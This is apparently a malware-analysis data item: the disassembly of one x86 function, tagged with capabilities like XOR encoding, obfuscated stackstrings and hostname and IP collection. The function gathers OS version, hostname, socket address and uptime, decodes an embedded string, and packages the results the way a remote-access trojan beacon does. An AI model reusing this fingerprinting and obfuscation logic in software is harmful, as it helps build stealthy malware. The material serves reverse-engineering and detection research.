Function at 0x4036c0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get hostname
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x9b8
mov eax, dword [0x446040]
xor eax, esp
mov dword [esp + 0x9b4], eax
push esi
push edi
push 0x333
lea eax, [esp + 0x3d]
mov edi, edx
mov esi, ecx
mov dword [esp + 0x1c], edi
push 0
push eax
mov dword [esp + 0x28], esi
call fcn.004166e0
add esp, 0xc
mov byte [esp + 0x38], 0xc8
lea eax, [esp + 0x114]
push 0x43fb30
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0x10
push eax
lea eax, [esp + 0x24]
xorps xmm0, xmm0
push eax
push dword [esi + 0x48]
movaps xmmword [esp + 0x2c], xmm0
call dword [sym.imp.WS2_32.dll_getsockname]
mov eax, dword [esp + 0x24]
mov dword [esp + 0xd8], eax
lea eax, [esp + 0x3c]
push eax
mov dword [esp + 0x40], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x403797
push str.RtlGetNtVersionNumbers
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x403790
lea ecx, [esp + 0x48]
push ecx
lea ecx, [esp + 0x48]
push ecx
lea ecx, [esp + 0x48]
push ecx
call eax
movzx eax, word [esp + 0x48]
mov dword [esp + 0x48], eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0x400
push 0
push 0x44a668
mov dword [esp + 0x1c], 0
call fcn.004166e0
add esp, 0xc
push 0x43f8e8
push dword [0x446cb0]
call fcn.00415a40
add esp, 8
test eax, eax
jne 0x40382c
mov edi, 0x446cb0
xor esi, esi
mov ecx, dword [edi]
call fcn.004135a0
test eax, eax
je 0x4037fb
push dword [esi + 0x446cb4]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x44a668
call esi
push 0x43f8e8
push 0x44a668
call esi
mov eax, dword [esp + 0x10]
inc eax
push 0x43f8e8
mov dword [esp + 0x14], eax
lea esi, [eax*8]
push dword [esi + 0x446cb0]
lea edi, [esi + 0x446cb0]
call fcn.00415a40
add esp, 8
test eax, eax
je 0x4037d1
mov edi, dword [esp + 0x18]
push 0x43f8e8
push 0x44a668
call fcn.00415a40
add esp, 8
test eax, eax
jne 0x403852
push 0x43f8ec
push 0x44a668
call dword [sym.imp.KERNEL32.dll_lstrcatA]
xor ecx, ecx
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ecx + 0x44a668]
mov byte [esp + ecx + 0x18c], al
inc ecx
test al, al
jne 0x403860
call fcn.004030b0
lea edx, [esp + 0x1dc]
sub edx, eax
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [eax + edx - 1], cl
test cl, cl
jne 0x403880
push 0x100
lea eax, [esp + 0x384]
push 0
push eax
call fcn.004166e0
add esp, 0xc
lea eax, [esp + 0x5b8]
push 0x400
push 0
push eax
call fcn.004166e0
add esp, 0xc
mov dword [esp + 0x374], 0x6e69614d
lea eax, [esp + 0x374]
mov dword [esp + 0x378], 0x5c6c6c44
mov word [esp + 0x37c], 0x7325
mov byte [esp + 0x37e], 0
push 0x44a390
push eax
lea eax, [esp + 0x5c0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
lea eax, [esp + 0x384]
lea edx, [esp + 0x5bc]
push 0x100
push ecx
push eax
push 1
push 0x43fb28
mov ecx, SysReAllocString
call fcn.004131c0
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x398]
add esp, 0x18
push eax
call esi
test eax, eax
jne 0x403951
push 0x100
lea eax, [esp + 0x384]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
lea eax, [esp + 0x380]
push eax
call esi
movups xmm0, xmmword [esp + 0x380]
mov ax, word [esp + 0x3b0]
mov word [esp + 0x10c], ax
movups xmmword [esp + 0xdc], xmm0
mov dword [esp + 0x110], edi
movups xmm0, xmmword [esp + 0x390]
movups xmmword [esp + 0xec], xmm0
movups xmm0, xmmword [esp + 0x3a0]
movups xmmword [esp + 0xfc], xmm0
call fcn.00402f60
test eax, eax
mov word [esp + 0xc], 0x6425
mov byte [esp + 0xe], 0
setne byte [esp + 0x10e]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, eax
mov eax, 0x31b5d43b
mul edi
lea eax, [esp + 0xc]
mov esi, edx
shr esi, 0x18
push esi
push eax
lea eax, [esp + 0x558]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
imul eax, esi, 0xfad9a400
add esp, 0xc
add edi, eax
mov eax, 0x95217cb1
mul edi
lea eax, [esp + 0xc]
mov esi, edx
shr esi, 0x15
push esi
push eax
lea eax, [esp + 0x4f0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
imul eax, esi, 0x36ee80
add esp, 0xc
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
sub edi, eax
mov eax, 0x45e7b273
mul edi
lea eax, [esp + 0xc]
shr edx, 0xe
push edx
push eax
lea eax, [esp + 0x488]
push eax
call esi
add esp, 0xc
lea eax, [esp + 0x480]
push eax
lea eax, [esp + 0x4ec]
push eax
lea eax, [esp + 0x558]
push eax
lea eax, [esp + 0x152]
push 0x43fb3c
push eax
call esi
add esp, 0x14
mov dword [esp + 0x10], 0
lea edx, [esp + 0x10]
mov ecx, str.tLa0utG2t9G1vaY
call fcn.00403540
mov edx, dword [esp + 0x10]
mov esi, eax
xor ecx, ecx
test esi, esi
jle 0x403b0f
cmp esi, 0x40
jb 0x403b00
and eax, 0x8000003f
jns 0x403a9f
dec eax
or eax, 0xffffffc0
inc eax
movaps xmm1, xmmword [0x441780]
mov edi, esi
movaps xmm2, xmmword [0x4417f0]
sub edi, eax
lea eax, [edx + 0x20]
movups xmm0, xmmword [eax - 0x20]
add ecx, 0x40
lea eax, [eax + 0x40]
psubb xmm0, xmm1
xorps xmm0, xmm2
movups xmmword [eax - 0x60], xmm0
movups xmm0, xmmword [eax - 0x50]
psubb xmm0, xmm1
xorps xmm0, xmm2
movups xmmword [eax - 0x50], xmm0
movups xmm0, xmmword [eax - 0x40]
psubb xmm0, xmm1
xorps xmm0, xmm2
movups xmmword [eax - 0x40], xmm0
movups xmm0, xmmword [eax - 0x30]
psubb xmm0, xmm1
xorps xmm0, xmm2
movups xmmword [eax - 0x30], xmm0
cmp ecx, edi
jl 0x403ab4
cmp ecx, esi
jge 0x403b0f
nop
mov al, byte [ecx + edx]
sub al, 0x13
xor al, 0x93
mov byte [ecx + edx], al
inc ecx
cmp ecx, esi
jl 0x403b00
lea ecx, [esp + 0x166]
sub ecx, edx
nop dword [eax + eax]
mov al, byte [edx]
lea edx, [edx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x403b20
mov al, byte [0x43fb38]
movq xmm0, qword [0x43fb30]
mov ecx, dword [esp + 0x1c]
mov byte [esp + 0x234], al
xor eax, eax
cmp dword [0x44a184], 1
push 0x334
sete al
movq qword [esp + 0x230], xmm0
mov dword [esp + 0x358], eax
lea eax, [esp + 0x3c]
push eax
call fcn.00401bb0
mov ecx, dword [esp + 0x9bc]
pop edi
pop esi
xor ecx, esp
call fcn.004137fd
mov esp, ebp
pop ebp
ret